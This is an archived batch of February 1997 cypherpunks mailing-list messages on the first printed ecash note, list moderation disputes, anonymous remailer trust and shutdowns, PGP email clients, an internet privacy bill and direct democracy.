Date: Thu, 6 Feb 1997 23:11:05 -0800 (PST)
To: dev-lucre@c2.net
Subject: World's first Ecash note
Message-ID: <199702070711.XAA13643@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The world's first Ecash note has been printed!

A USD 0.01 note made out to anyone can be found at:

	http://www.veriweb.com/people/jeremey/ecash/1_cent.html

The data portion of the note is a PDF417 2-D barcode, containing a
standard ecash payment of 1 US cent. 

The source code for the general PDF417 encoding and the ecash conversion
will be published as soon as I clean it up and come up with a somewhat
nicer interface. The PDF417 code should be useful for non-ecash stuff as
well, it will encode anything.

I will be bringing a bunch of notes to the bay-area cypherpunks meeting
Saturday.

Suggestions/comments appreciated.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

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A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU
2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy
nhEPFe2iSc4=
=v84p
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 23:11:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070711.XAA13689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Why was this message (attached below) sent to the "Flames" list? (*) It
contains an assertion that the remailer operators are colluding to reveal
identities, and this is surely a fit topic for discussion.

(* I have temporarily subscribed to the Flames list to see just what it is
being filtered or censored by Sandy. I received this message, and it had
the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
is a "Flames" message. It would help, by the way, if messages were more
clearly labelled by the Moderator as to which bucket he placed them in.)

While I don't believe this assertion about collusion by the remailer
operators is true, generally, this claim is clearly:

1. Not a flame, but an assertion of opinion.

2. Possibly not true, but it is not the job of the Moderator to decide on
truth.

3. Dealing with an important issue, to wit, the willingness (putatively) of
some remailer operators to talk amongst themselves to deal with "problems."

(If this is not a meaningful and important topic for the Cypherpunks list
to discuss, then what is?)

Here's the message:


At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote:
>c.musselman@internetmci.com (Charley Musselman) writes:
>
>> C'punks --
>> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
>> and suggested that he use an anonymous remailer to post to the group,
>> he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> anyone know the answer?  Specifically, how can we choose a trusted
>> remailer?
>
>Even if the feds are not directtly involved, the so-called "cypher punk"
>remailers are run by people who should not be trusted.  Check out their
>remailer-operators list: it's full of announcements that some specific
>person posted something via the remailer that the operator didn't like.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 6 Feb 1997 23:11:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702070711.XAA13683@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I find your "distributed democracy" interesting, except that it would
allow scant time for deliberation.

Think of it this way: don't you think the majority of Americans would have
voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or
worse? 

Democracy generally means majoritarian rule. The Bill of Rights is an
anti-majoritarian document. It protects the rights of political or
religious minorities. I fear that electronic "click here to vote"
democracy would undermine the Bill of Rights even more.

-Declan

---

Dale Thorn writes:

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Thu, 6 Feb 1997 15:13:47 -0800 (PST)
To: mail2news@anon.lcs.mit.edu
Subject: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702062313.PAA02533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Because of recent attacks on the remailer network and mail2news
gateways, I may loose access to at least one of the news servers I
currently feed news to from my mail2news gateway.

If you are a news administrator, believe in free speech and anonymity,
and you would like to help the cause, please consider giving transfer
(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
not be the only server, and so do not need to worry about being the
point of entrance of mail2news articles to Usenet.

Please contact me if you can help.  Thank you.

For those who oppose the existence of mail2news gateways, you should
know that we are taking steps to limit the abuse.  However, doing so
without in any way limiting articles that abide by the usage policy is
tricky, and must be done carefully.  Please be patient.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 20:41:06 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702070441.UAA09108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This would be the same Strassmann who stated in public at Harvard early in
1995 that most remailers were run by intelligence agencies such as the
KGB, then denied saying it when asked for substantiation?   And cut it
from his paper?

On Thu, 6 Feb 1997, Vin McLellan wrote:
> Strassmann, the author of this denunciation of RSADS and
> Ian Goldberg, is the former Director of Defense Information
> (i.e., CIO,) of the Bush DoD and an often-insightful commentator

Having said that, there is some debate about the extent to which in
*intelligence gathering* as opposed to, say, trying to crack a banking
protocol, one can reasonably count on a known plaintext.  And much debate
about the processing costs of not having one, especially when one doesn't
know what kind of document is being encrypted (e.g. is it ASCII plaintext?
a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl9.crl.com>
Date: Fri, 7 Feb 1997 06:55:54 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071455.GAA24397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> My posting seem to be going into Limbo, being sent neither to
> the Cypherpunks Heaven Sandy administers nor to the flames of
> the Cypherpunks Hell. At least this is how things now appear.

It doesn't look familiar.  I don't have any idea what happened.
Can anyone tell me if they saw it on the unedited list?  That's
where I would have read it.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl9.crl.com>
Date: Fri, 7 Feb 1997 06:55:56 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: anonymous remailers
Message-ID: <199702071455.GAA24404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Timothy C. May wrote:

> Why was this message (attached below) sent to the "Flames" list? (*) It
> contains an assertion that the remailer operators are colluding to reveal
> identities, and this is surely a fit topic for discussion.
> 
> (* I have temporarily subscribed to the Flames list to see just what it is
> being filtered or censored by Sandy. I received this message, and it had
> the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> is a "Flames" message. It would help, by the way, if messages were more
> clearly labelled by the Moderator as to which bucket he placed them in.)

Currently, there are three lists.  It looks as though the message
in question appeared on the Unedited list.  This is NOT the same
as the Flames list.  
 
I don't recall where I sorted that particular post to after I
read it on the Unedited list.  If it went to the "wrong" list,
my apologies to the author.  As I indicated before, I don't think
a 100% solution is possible, but I think I'm running in the high
90s under the criteria I enunciated.  Not perfection, but a 
definite improvement over the prior condition.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 6 Feb 1997 15:30:23 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: e$ plug, Moderation, Cypherpunks as a bird in the bush
Message-ID: <199702062330.PAA02831@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym "Greg Broiles
 <gbroiles@netbox.com>" typed:
> 
> I think that Bob's e$ list should be considered a viable alternative to the
> other two filtered cpunks lists; I recommend it to people looking for a
> moderated alternative to the list.


I like "e$", although I seem to be too busy to contribute
regularly to _any_ forum recently.  (I'm always available for
Real Life Meetings in local bars, though...  Anybody going to
visit Amsterdam soon?)


> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more."


Hey, that's a sufficiently profound "death of cpunks" statement
for me.  I feel the same way-- though I've never been a very
active participant, I really dropped out a few months ago.


I feel like there is more to learn and discuss.  _Much_ more.
It keeps me awake at night sometimes, not knowing exactly what
it is but waiting for it.


But I've had my fill of cypherpunks, and my Objectivist
newsgroup (humanities.philosophy.objectivism), and simplistic
libertarianism.



Keep in touch.  :-)


Bryce

Not speaking for DigiCash.

PGP sig follows




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rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw
=ZVwu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 07:11:11 -0800 (PST)
To: cryptography@c2.net
Subject: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071511.HAA24793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 06:51 PM 2/6/97 +0800, pclow wrote:
>><You want Eudora 3.0 and PGPMail 4.5. [Despite PGP,Inc's best efforts,
>>the
>><brand new PGPMail has escaped from the United States and is now
>>available
>><worldwide.]

Its too bad there isn't a Mac version contemplated.  They appear to think
that existing PGP versions, paired with Eudora, are sufficient.  I think a
better integrated approach for the Mac would be appreciated as the
available AppleScripts are buggy and awkward.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST)
To: dev-lucre@c2.net
Subject: IEEE Communications
Message-ID: <199702071455.GAA24387@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A friend called this evening to let me know the February issue is dedicated
to electronic cash and its implications.  I'm no longer an IEEE member.  If
any of the various list members care to excerpt and comment on some of the
more interesting portions, I'm sure it would be appreciated.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Fri, 7 Feb 1997 06:56:29 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702071456.GAA24457@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>--- begin forwarded text
>Date:         Thu, 6 Feb 1997 11:24:09 EST
>Reply-To:     Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>Sender:       Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
>Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)

>
>Sorry for the crossposting, but I felt this one might be important enough
>to do it.  The following is a shortened version of an article I've written
>for my firm's client newsletter about H.R. 98, the "Consumer Internet
>Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
>January 7, 1997.  [snip]
>
>Jonathan I. Ezor
>New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
>Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com
>-----------------------------Cut here-------------------------------
>
>Congress Tackles Internet Privacy
>        Recently, there has been significant press coverage over real and
>rumored revelations of personal information such as Social Security numbers by
>online services, including the alleged availability (later shown to be untrue)
>of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
>and various governmental bodies have held hearings on issues of online privacy.
>On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
>"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
>provides that "an interactive computer service shall not disclose to a third
>party any personally identifiable information provided by a subscriber to such
>service without the subscriber's prior informed written consent." 

Gee, this sounds great!  Sounds like it would become illegal for ISPs to 
"cooperate" (aka:  getting strongarmed) by the local thugs (cops) to reveal 
information about subscribers.   Except, as is so often the case, they seem 
to always figure out ways to explain that cooperation with cops was somehow 
not covered in the law above.

One of the non-obvious dangers of having laws such as this apply to ISPs is 
that they increase the likelihood that legal force could be applied to them 
in order to get them to sell-out their customers.   And, obviously, the 
average citizen isn't going to have a lot of luck getting these laws 
ENFORCED unless he has friends in the prosecutor's office.


One of the numerous advantages of an AP-type system is that a person will be 
able to make a violation of his privacy a crime regardless of whether the 
powers-that-be agree.  Also, he can enforce that "law" on anyone, including 
government agents, without the cooperation of the prosecutor.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 7 Feb 1997 11:56:52 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702071956.LAA29480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, Adam Back wrote:

> My vote is for renaming:
> 	`cypherpunks-unedited' -> `cypherpunks'
> and	`cypherpunks' -> `cypherpunks-edited'

I have to agree. I'm only a 'cypherpunk' in the sense of setting up
various crypto-related Web sites and writing and giving away thousands of
lines of cryptography code rather than regularly posting to the list, but
my main concern is that the default for the list has gone from anarchy to
moderation. 

If the users of the list truly believe in anarchistic solutions to
problems then the moderated list should exist *in addition* to the
unmoderated list, rather than replacing it. In a truly anarchistic society
the cypherpunks list would be an unmoderated forum full of spam and
opinions related in some way to the list topics and numerous moderators
would charge us for their versions of the list in which they simply pass
on the messages they like. We could then choose a moderator whose
interests are similar to ours and pay them for providing us with
apropriate information. IMHO this is the way that mailing lists and Usenet
are likely to evolve as they become too large for us to read and react to
all posts; we should be in the vanguard of creating appropriate solutions
to the problems. 

Providing a moderated list which saves me from dowloading spam is a
worthwhile exercise which is potentially valuable to me (and I'm grateful
to Sandy for offering such a service for free), but I do not believe that
it should be the default for new subscribers.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 6 Feb 1997 22:55:47 -0800 (PST)
To: zinc <zinc@zifi.genetics.utah.edu>
Subject: Re: lead remailer is shut down
Message-ID: <199702070655.WAA12863@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


zinc enscribed thusly:

> The following message is a courtesy copy of an article
> that has been posted as well.

> -----BEGIN PGP SIGNED MESSAGE-----

> hi,

> i came in today to find they (university system admins) had pulled the
> plug on my machine.  this is all because some luser spammed usenet
> using the remailer on my machine.  thanks a lot.

	Yeah?  Did you find his ass?  Kindly forward the coordinates
of the body so we can desecrate the corpse!

> so, the lead remailer is gone for good; it lasted almost exactly one
> year. 

> it was nice while it lasted.

	Never used it but it is always sad to see the passing of a network
resource due to the abuse by cretins with all the morals of an alley cat
in heat...

> - -patrick finerty
> biochem grad student, u of utah

> - -- 
> "Those that give up essential liberty to obtain a little temporary
> safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
> 		   finger zinc-pgp@zifi for PGP key
> zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
> 
> iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
> 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
> 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
> clfXhusEPPg=
> =0fse
> -----END PGP SIGNATURE-----

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 6 Feb 1997 11:21:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702061921.LAA28338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 
> It has some advantages:
> 
> [...]
> 
> And some disadvantages...
> 
>  1. Cross-posting in USENET is a problem, especially in alt newsgroups
> 
>  2. Commercial spam is a problem with newsgroups
> 

You may want to check out alt.sysadmin.recovery; they use the 
moderation mechanism to produce a group that is unmoderated, 
but spam-resistant.  It would be impolite to describe the technique,
but it should be apparent if you browse a few articles.

Another way to avoid crossposts is to have a robomoderated group,
where a bot automatically rejects articles which are crossposted,
and approves all others.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.
> 
>  6. Some have argued in the past on this topic that the mailing list
>     medium is better because it is more exclusive, as it requires more
>     technical competence, and an active enough interest to subscribe.
>     This is an elitist argument.  Perhaps it is relevant though, if we
>     are trying to maintain a mailing list where technical discussions on
>     how to improve privacy are to take place.  I wouldn't call this
>     attitude censorship though.
> 

7. Usenet traffic, at least in remote regions (looks around), is often 
   assigned less bandwidth/lower priority than mail, so a reader may
   not see all of the messages (AFAICT, I normally see about half or 
   less of what actually gets posted to the groups I read), even if the 
   group is "well propagated".

>[...]

John P.
john@huiac.apana.org.au







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 07:11:53 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071511.HAA24871@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 07:12:12 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071512.HAA24882@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote:

>On Thu, 6 Feb 1997, Timothy C. May wrote:
>
>> My posting seem to be going into Limbo, being sent neither to
>> the Cypherpunks Heaven Sandy administers nor to the flames of
>> the Cypherpunks Hell. At least this is how things now appear.
>
>It doesn't look familiar.  I don't have any idea what happened.
>Can anyone tell me if they saw it on the unedited list?  That's
>where I would have read it.

I reproduced the message in my message earlier tonight. Although there are
no headers to show routing, since I sent it but never received it, I can
assure you it was marked by Eudora as "Sent," and my ISP has reported no
delivery problems of any sort. Thus, based on past experiences with
thousands of such sendings, I surmise with great certainty that my message
was mailed successfully to cypherpunks@toad.com. What happened to if after
that I cannot say, but I suspect something related to the "Moderation"
process, by Ockham's Razor.

There seem to be more "lost" messages than before this "Moderation" thing
began. I literally sent thousands of messages (maybe tens of thousands...)
and cannot recall a "lost" message. Now, it's happened to me a couple of
times that I can recall, and to at least some others, based on recent
messages.

I thought the basic equation was:

UNEDITED = MAIN + FLAMES,  with MAIN and FLAMES being disjoint.

It's looking now more like:

UNEDITED = MAIN + FLAMES +  DROPPED/LOST

Possibly the fault lies in the software Sandy is using to sort the
messages, possibly elsewhere. Whatever, this needs to be fixed immediately,
or the experiment abandoned immediately.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 7 Feb 1997 07:11:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702071511.HAA24795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple things need underscoring: 

On Wed, 5 Feb 1997, Hugh Daniel wrote:

> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
        ^^^^^
Thomsen needs to leave early, so we will make every effort to "start on
time."

> 	  We have a wonderful space to do demos in this month, Turing
> 	Auditorium has Internet, projections screens, audio amps and
                       ^^^^^^^^
I.e., Ethernet, either 10BaseT or coax, no firewall. Please show up by 11:30
if you want an IP address. Hooked up to the projectors are a PowerMac, a
Windows 95 box, and I might lug my Linux box over, too. One analog phone, in
case anyone wants one. I suppose we could still do live RealAudio and/or
CU-SeeMe iff someone feels they have something to say of such earth-
shattering importance that the whole net must hear. Otherwise, I'd rather
keep the distracting toys out of the way.

-rich
 www.stanford.edu/~llurch






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 7 Feb 1997 07:11:49 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702071511.HAA24870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Feb 1997, ISP_Ratings wrote:

> lcs Remailer Administrator wrote:
> > 
> > Because of recent attacks on the remailer network and mail2news
> > gateways, I may loose access to at least one of the news servers I
> > currently feed news to from my mail2news gateway.
> > 

Who attacked the network and for what reason?

> > If you are a news administrator, believe in free speech and anonymity,
> > and you would like to help the cause, please consider giving transfer
> > (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> > not be the only server, and so do not need to worry about being the
> > point of entrance of mail2news articles to Usenet.
> > 
> > Please contact me if you can help.  Thank you.
> > 

Well, just who is cutting you off and for what reason?
And what is their telephone number?

> > For those who oppose the existence of mail2news gateways, you should
> > know that we are taking steps to limit the abuse.  

Just what is your definition of "abuse?"

However, doing so
> > without in any way limiting articles that abide by the usage policy is
> > tricky, and must be done carefully.  Please be patient.
> 
> 
>   I'm writing from the Freedom Knights list but am in no way
> representing them.
>   
>   What exactly do you mean by 'taking steps to limit the abuse'?  
> Personally I think much of what is called abuse is nonsense and
> that all posts, with the exception of cancels/NoCems should be
> propogated regardless of content (including what is currently
> referred to as spam).
> 
>   Also--could you forward to the Freedom Knights list a copy of
> your 'usage policy' and impressions on the Freedom Knights two
> FAQs.
> 
>   Thanks,
> 
>   Steve
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 08:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702071626.IAA26175@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> I find your "distributed democracy" interesting, except that it would
> allow scant time for deliberation. Think of it this way: don't you
> think the majority of Americans would have voted to pass the CDA?
> Or worse? Or restrictions on domestic crypto? Or worse?
> Democracy generally means majoritarian rule. The Bill of Rights is an
> anti-majoritarian document. It protects the rights of political or
> religious minorities. I fear that electronic "click here to vote"
> democracy would undermine the Bill of Rights even more.

You spoke a key phrase when you said "scant time".  When I was in
the Perot camp, I saw some direct "democracy" in action, and it was
pitiful how the little folks could be herded into voting this way
and that.  OTOH, this subject deserves more in-depth analysis, and
a good starting point could be the California referendums (Prop. 209,
etc.), followed on by Supreme Court decisions saying OK, not OK, and
so on.  That system provides a good mix of people having input and
proper Constitutional judicial review.

One of the good factors is the pamphlets the state sends out to voters
prior to the election, with a decent analysis of the issues from
opposing points of view.  Not perfect to be sure, but a good start.

> Dale Thorn writes:
> I wish for once and for all someone would delineate this "democracy"
> thing from a true, distributed democracy, where every individual is
> required to participate equally, and no narrow interests can co-opt
> the vote the way they do in the kind of "democracy" Declan mentions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@wazoo.com>
Date: Fri, 7 Feb 1997 08:39:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702071639.IAA26472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


At 05:40 PM 2/6/97 -0500, you wrote:

>

>c.musselman@internetmci.com (Charley Musselman) writes:

>> C'punks --

>>         When I told a friend about the alt.drugs.pot cultivation newsgroup

>> and suggested that he use an anonymous remailer to post to the group,

>> he laughed and said, "Who do you suppose runs the remailers?  ATF,

>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does

>> anyone know the answer?  Specifically, how can we choose a trusted

>> remailer?

>

>The solution is not to choose a trusted remailer, but to choose a

>group of remailers and send your message through each one


	I run an anonymous remailer. I have a mixmaster type at mix@wazoo.com nd a

cypherpunk type at remailer@wazoo.com. Also, there is a WWW interface at

http://www.wazoo.com/~remailer.

	I know that my system doesn't keep any recorders except number of messages

